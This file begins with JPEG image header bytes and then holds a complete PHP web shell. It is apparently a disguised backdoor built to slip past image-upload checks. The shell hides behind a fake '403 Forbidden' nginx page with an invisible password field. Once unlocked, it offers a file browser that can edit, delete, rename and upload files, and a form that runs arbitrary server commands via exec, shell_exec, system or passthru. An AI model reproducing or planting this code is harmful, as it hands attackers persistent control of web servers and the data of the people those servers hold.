JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
<?php
$auth_pass = "0e7889771339eec37590798059249ea1be17e47a976f2502318bab01f0660055";
function Login() {
die("<html>
<title>403 Forbidden</title>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx (apache v.5162 ./0xnothing) </center>
<center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}
function VEsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && (hash('sha256', $_POST['pass']) == $auth_pass))
VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
Login();
}
?>
<?php
error_reporting(0);
session_start();
function safe_exec($cmd) {
if (function_exists('exec')) {
exec($cmd, $output);
return implode("\n", $output);
} elseif (function_exists('shell_exec')) {
return shell_exec($cmd);
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
return $output;
} elseif (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
return $output;
} else {
return "Command execution not available!";
}
}
function getBreadcrumbPath($path) {
$parts = explode(DIRECTORY_SEPARATOR, $path);
$breadcrumb = "";
$full_path = "";
foreach ($parts as $part) {
if ($part === "") continue;
$full_path .= DIRECTORY_SEPARATOR . $part;
$breadcrumb .= "<a href='?path=" . urlencode($full_path) . "'>$part</a>" . DIRECTORY_SEPARATOR;
}
return $breadcrumb;
}
function file_perms_to_unix($file) {
return substr(decoct(@fileperms($file)), -4);
}
function file_perms_to_rwx($file) {
$mode = @fileperms($file);
if ($mode === false) return "?????????";
$type = is_dir($file) ? 'd' : (is_link($file) ? 'l' : '-');
$out = $type;
$mapping = [
['r', 0400], ['w', 0200], ['x', 0100],
['r', 0040], ['w', 0020], ['x', 0010],
['r', 0004], ['w', 0002], ['x', 0001],
];
foreach ($mapping as $m) {
$out .= ($mode & $m[1]) ? $m[0] : '-';
}
return $out;
}
function perm_color_class($file) {
if (is_dir($file)) {
if (is_writable($file)) return 'dir-w'; // green - writable dir
return 'dir-r'; // red - non-writable dir
} else {
if (is_writable($file)) return 'file-w'; // green - writable file
if (is_readable($file)) return 'file-n'; // white - readable but not writable
return 'file-x'; // red - not readable
}
}
function get_owner_group($file) {
$owner = function_exists('posix_getpwuid') ? @posix_getpwuid(@fileowner($file)) : false;
$group = function_exists('posix_getgrgid') ? @posix_getgrgid(@filegroup($file)) : false;
$oname = is_array($owner) ? $owner['name'] : @fileowner($file);
$gname = is_array($group) ? $group['name'] : @filegroup($file);
return $oname . ' ' . $gname;
}
function get_filesize($file) {
$sz = @filesize($file);
if ($sz === false) return '?';
$units = ['B','KB','MB','GB','TB'];
$i = 0;
while ($sz >= 1024 && $i < count($units) - 1) {
$sz /= 1024;
$i++;
}
return round($sz, 1) . ' ' . $units[$i];
}
$requested_dir = isset($_GET['path']) ? $_GET['path'] : null;
$current_dir = ($requested_dir !== null) ? @realpath($requested_dir) : getcwd();
$path_error = '';
if ($requested_dir !== null && ($current_dir === false || !@is_dir($current_dir))) {
if ($current_dir !== false && @is_file($current_dir)) {
$reason = 'path ini adalah FILE, bukan direktori';
} elseif (@file_exists($requested_dir)) {
$reason = 'path ada tapi tidak bisa dibuka (permission)';
} else {
$reason = 'path tidak ditemukan / tidak dapat diakses (cek penulisan, permission, atau open_basedir=' . (ini_get('open_basedir') ?: 'none') . ')';
}
$path_error = "[!] Gagal membuka direktori: \"" . htmlspecialchars($requested_dir) . "\" — {$reason}";
$current_dir = getcwd();
}
chdir($current_dir);
$status_msg = '';
if (isset($_FILES['upload'])) {
$target_path = basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
$status_msg .= "[+] Uploaded " . htmlspecialchars(basename($_FILES['upload']['name'])) . "<br>";
} else {
$status_msg .= "[-] Upload failed.<br>";
}
}
if (isset($_GET['delete'])) {
$file_to_delete = realpath($_GET['delete']);
$success = false;
if (is_file($file_to_delete)) {
$success = unlink($file_to_delete);
} elseif (is_dir($file_to_delete)) {
$success = rmdir($file_to_delete);
}
if ($success) {
$status_msg .= "[+] Deleted " . htmlspecialchars(basename($file_to_delete)) . "<br>";
} else {
$status_msg .= "[-] Failed to delete.<br>";
}
}
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$old_name = $_POST['rename_old'];
$new_name = dirname($old_name) . DIRECTORY_SEPARATOR . $_POST['rename_new'];
if (rename($old_name, $new_name)) {
$status_msg .= "[+] Renamed " . htmlspecialchars(basename($old_name)) . " to " . htmlspecialchars($_POST['rename_new']) . "<br>";
} else {
$status_msg .= "[-] Failed to rename.<br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<style>
body { background-color: #0a0a0a; color: #e0e0e0; font-family: 'Courier New', monospace; font-size: 13px; }
a { text-decoration: none; }
input, textarea { background: #1a1a1a; color: #00ff00; border: 1px solid #444; font-family: monospace; padding: 3px; }
input[type="submit"] { cursor: pointer; }
table { border-collapse: collapse; width: 100%; }
th { background: #1a1a1a; color: #aaa; padding: 5px 8px; border: 1px solid #333; text-align: left; font-weight: bold; }
td { padding: 4px 8px; border-bottom: 1px solid #1a1a1a; }
tr:hover { background: #1a1a1a; }
.dir-w { color: #00ff00; font-weight: bold; } /* writable dir - bright green */
.file-w { color: #00ff00; } /* writable file - green */
.file-n { color: #ffffff; } /* readable file - white */
.dir-r { color: #ff4444; font-weight: bold; } /* non-writable dir - red */
.file-x { color: #ff4444; } /* not readable file - red */
a.link-w { color: #00ff00; }
a.link-n { color: #66ccff; }
a.link-r { color: #ff4444; }
.crumb a { color: #66ccff; }
.crumb { margin-bottom: 10px; }
.status { margin: 5px 0; padding: 5px; }
</style>
<script>
document.addEventListener("DOMContentLoaded", function () {
const visited = JSON.parse(localStorage.getItem("visitedLinks") || "[]");
document.querySelectorAll("a").forEach(a => {
const href = a.getAttribute("href");
if (visited.includes(href)) a.style.opacity = "0.6";
a.addEventListener("click", () => {
if (!visited.includes(href)) {
visited.push(href);
localStorage.setItem("visitedLinks", JSON.stringify(visited));
}
});
});
});
</script>
</head>
<body>
<?php
echo "<div class='crumb'>";
echo "<b>umahe:</b> " . getBreadcrumbPath($current_dir) . "<br>";
$uid = function_exists('posix_getuid') ? posix_getuid() : 'n/a';
$uname = function_exists('posix_getpwuid') ? @posix_getpwuid($uid)['name'] : $uid;
echo "<b>whoami:</b> " . htmlspecialchars($uname) . " (uid=$uid) | <b>server:</b> " . php_uname();
echo "</div>";
if (!empty($path_error)) {
echo "<div class='status' style='color:#ff4444;'>" . $path_error . "<br>";
echo "Menampilkan direktori shell saat ini sebagai fallback.</div>";
}
if (!empty($status_msg)) {
echo "<div class='status'>" . $status_msg . "</div>";
}
echo "<h3>File Explorer:</h3>";
$files = @scandir($current_dir);
if ($files === false) {
echo "Directory listing failed! Trying alternative methods.<br>";
$files = explode("\n", safe_exec("ls -1a " . escapeshellarg($current_dir)));
}
$dirs = [];
$regular_files = [];
foreach ($files as $file) {
if ($file === "." || $file === "..") continue;
$file_path = realpath($current_dir . DIRECTORY_SEPARATOR . $file);
if (!$file_path) continue;
if (is_dir($file_path)) {
$dirs[] = ['name' => $file, 'path' => $file_path];
} else {
$regular_files[] = ['name' => $file, 'path' => $file_path];
}
}
echo "<table>";
echo "<tr><th>Perms</th><th>Octal</th><th>Owner/Group</th><th>Type</th><th>Name</th><th>Size</th><th>Actions</th></tr>";
$parent_dir = dirname($current_dir);
$parent_perms = file_perms_to_rwx($parent_dir);
$parent_octal = file_perms_to_unix($parent_dir);
$parent_class = is_writable($parent_dir) ? 'dir-w' : 'dir-r';
echo "<tr>";
echo "<td class='$parent_class'>$parent_perms</td>";
echo "<td class='$parent_class'>$parent_octal</td>";
echo "<td>" . get_owner_group($parent_dir) . "</td>";
echo "<td>DIR</td>";
echo "<td><a href='?path=" . urlencode($parent_dir) . "' class='link-" . (is_writable($parent_dir) ? 'w' : 'r') . "'>..</a></td>";
echo "<td>-</td>";
echo "<td></td>";
echo "</tr>";
foreach ($dirs as $dir) {
$perms = file_perms_to_rwx($dir['path']);
$octal = file_perms_to_unix($dir['path']);
$cls = perm_color_class($dir['path']);
$link_cls = is_writable($dir['path']) ? 'link-w' : 'link-r';
echo "<tr>";
echo "<td class='$cls'>$perms</td>";
echo "<td class='$cls'>$octal</td>";
echo "<td>" . get_owner_group($dir['path']) . "</td>";
echo "<td>DIR</td>";
echo "<td><a href='?path=" . urlencode($dir['path']) . "' class='$link_cls'>" . htmlspecialchars($dir['name']) . "</a></td>";
echo "<td>-</td>";
echo "<td>[ <a href='?delete=" . urlencode($dir['path']) . "'>Del</a> ] [ <a href='?rename=" . urlencode($dir['path']) . "'>Ren</a> ]</td>";
echo "</tr>";
}
foreach ($regular_files as $file) {
$perms = file_perms_to_rwx($file['path']);
$octal = file_perms_to_unix($file['path']);
$cls = perm_color_class($file['path']);
$link_cls = is_writable($file['path']) ? 'link-w' : (is_readable($file['path']) ? 'link-n' : 'link-r');
echo "<tr>";
echo "<td class='$cls'>$perms</td>";
echo "<td class='$cls'>$octal</td>";
echo "<td>" . get_owner_group($file['path']) . "</td>";
echo "<td>FILE</td>";
echo "<td><a href='?edit=" . urlencode($file['path']) . "' class='$link_cls'>" . htmlspecialchars($file['name']) . "</a></td>";
echo "<td>" . get_filesize($file['path']) . "</td>";
echo "<td>[ <a href='?edit=" . urlencode($file['path']) . "'>Edit</a> ] [ <a href='?delete=" . urlencode($file['path']) . "'>Del</a> ] [ <a href='?rename=" . urlencode($file['path']) . "'>Ren</a> ]</td>";
echo "</tr>";
}
echo "</table>";
if (isset($_GET['edit'])) {
$file_to_edit = realpath($_GET['edit']);
if (is_file($file_to_edit)) {
$content = htmlspecialchars(file_get_contents($file_to_edit));
echo "<h3>Editing '$file_to_edit':</h3>";
echo "<form method='POST'>";
echo "<textarea name='file_content' rows='20' cols='100'>$content</textarea><br>";
echo "<input type='hidden' name='edit_file' value='" . htmlspecialchars($file_to_edit) . "'>";
echo "<input type='submit' value='Save'>";
echo "</form>";
}
}
if (isset($_POST['file_content']) && isset($_POST['edit_file'])) {
file_put_contents($_POST['edit_file'], $_POST['file_content']);
echo "File saved!<br>";
}
if (isset($_GET['rename']) && !isset($_POST['rename_old'])) {
$file_to_rename = realpath($_GET['rename']);
echo "<h3>Renaming '$file_to_rename':</h3>";
echo "<form method='POST'>";
echo "<input type='hidden' name='rename_old' value='" . htmlspecialchars($file_to_rename) . "'>";
echo "New name: <input type='text' name='rename_new' value='" . htmlspecialchars(basename($file_to_rename)) . "'><br>";
echo "<input type='submit' value='Rename'>";
echo "</form>";
}
echo "<h3>Upload a File:</h3>";
echo "<form enctype='multipart/form-data' method='POST'>
<input type='file' name='upload'>
<input type='submit' value='Upload'>
</form>";
if (isset($_POST['cmd'])) {
echo "<h3>Command Output:</h3>";
echo "<pre style='color:#00ff00;'>" . htmlspecialchars(safe_exec($_POST['cmd'])) . "</pre>";
}
echo "<h3>Execute Command:</h3>";
echo "<form method='POST'>";
echo "Command: <input type='text' name='cmd' size='80'>";
echo "<input type='submit' value='Run'>";
echo "</form>";
?>
</body>
</html>